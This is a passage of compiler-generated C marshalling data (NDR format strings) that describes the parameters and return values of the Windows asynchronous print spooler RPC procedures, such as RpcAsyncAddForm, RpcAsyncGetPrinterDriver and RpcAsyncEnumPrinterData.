*/\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1268 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1270 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1272 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1274 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1276 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinter */\n\n/* 1286 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 1288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1290 */\tNdrFcShort( 0x528 ),\t/* Type Offset=1320 */\n\n\t/* Return value */\n\n/* 1292 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1294 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1296 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddForm */\n\n/* 1298 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1300 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1304 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1306 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1308 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1310 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1312 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1314 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1316 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1318 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1320 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1324 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1330 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1332 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1334 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1336 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1338 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1340 */\tNdrFcShort( 0x5b6 ),\t/* Type Offset=1462 */\n\n\t/* Return value */\n\n/* 1342 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1344 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteForm */\n\n/* 1348 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1354 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1356 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1358 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1362 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1364 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1366 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1368 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1370 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1372 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1374 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1378 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1380 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1384 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1386 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1388 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1390 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 1392 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1394 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetForm */\n\n/* 1398 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1400 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1406 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1408 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1410 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1412 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1414 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1416 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1418 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1420 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1422 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1424 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1428 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1430 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1432 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1434 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1436 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1438 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1440 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Level */\n\n/* 1442 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1444 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1446 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 1448 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1450 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1452 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 1454 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1456 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1460 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1462 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1464 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1466 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1468 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetForm */\n\n/* 1472 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1478 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1480 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1482 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1484 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1486 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1488 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1490 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1492 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1494 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1496 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1500 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1502 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1504 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1508 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1510 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1512 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1514 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1516 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1518 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1520 */\tNdrFcShort( 0x5b6 ),\t/* Type Offset=1462 */\n\n\t/* Return value */\n\n/* 1522 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1524 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumForms */\n\n/* 1528 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1530 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1534 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1536 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1538 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1542 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1544 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1546 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1548 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1550 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1552 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1554 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1560 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1564 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 1566 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 1572 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1574 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1576 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 1578 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1580 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1582 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1584 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1586 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 1590 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1592 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1596 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1598 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1600 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriver */\n\n/* 1602 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1604 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1608 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1610 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1612 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1614 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1616 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 1620 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 1622 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0xb,\t\t/* 11 */\n/* 1624 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1628 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1630 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1632 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1634 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1638 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pEnvironment */\n\n/* 1640 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1642 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1644 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1648 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 1652 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1654 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1656 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 1658 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1660 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1664 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1666 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1668 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMajorVersion */\n\n/* 1670 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1672 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1674 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMinorVersion */\n\n/* 1676 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1678 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMaxVersion */\n\n/* 1682 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1684 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1686 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMinVersion */\n\n/* 1688 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1690 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1694 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1696 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1698 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterData */\n\n/* 1700 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1702 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1706 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1708 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1710 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1712 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1714 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1716 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 1718 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 1720 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 1722 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1724 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1726 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1728 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1732 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1734 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1736 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter dwIndex */\n\n/* 1738 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1740 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1742 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pValueName */\n\n/* 1744 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1746 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1748 */\tNdrFcShort( 0x5ca ),\t/* Type Offset=1482 */\n\n\t/* Parameter cbValueName */\n\n/* 1750 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1752 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1754 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbValueName */\n\n/* 1756 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1758 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pType */\n\n/* 1762 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1764 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1766 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1768 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1770 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1772 */\tNdrFcShort( 0x5e4 ),\t/* Type Offset=1508 */\n\n\t/* Parameter cbData */\n\n/* 1774 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1776 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1778 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbData */\n\n/* 1780 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1782 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1784 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1786 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1788 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1790 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterDataEx */\n\n/* 1792 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1794 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1798 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1800 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1802 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1804 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1806 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1808 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1810 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1812 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1814 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1816 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1818 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1824 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1828 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1830 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1832 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1834 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pEnumValues */\n\n/* 1836 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1838 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1840 */\tNdrFcShort( 0x498 ),\t/* Type Offset=1176 */\n\n\t/* Parameter cbEnumValues */\n\n/* 1842 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1844 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1846 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbEnumValues */\n\n/* 1848 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1850 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1852 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pnEnumValues */\n\n/* 1854 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1856 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1858 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1860 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1862 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1864 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterKey */\n\n/* 1866 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1868 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1872 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1874 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1876 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1878 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1880 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1882 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1884 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1886 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1888 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1890 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1892 */\tNdrFcShort( 0x0 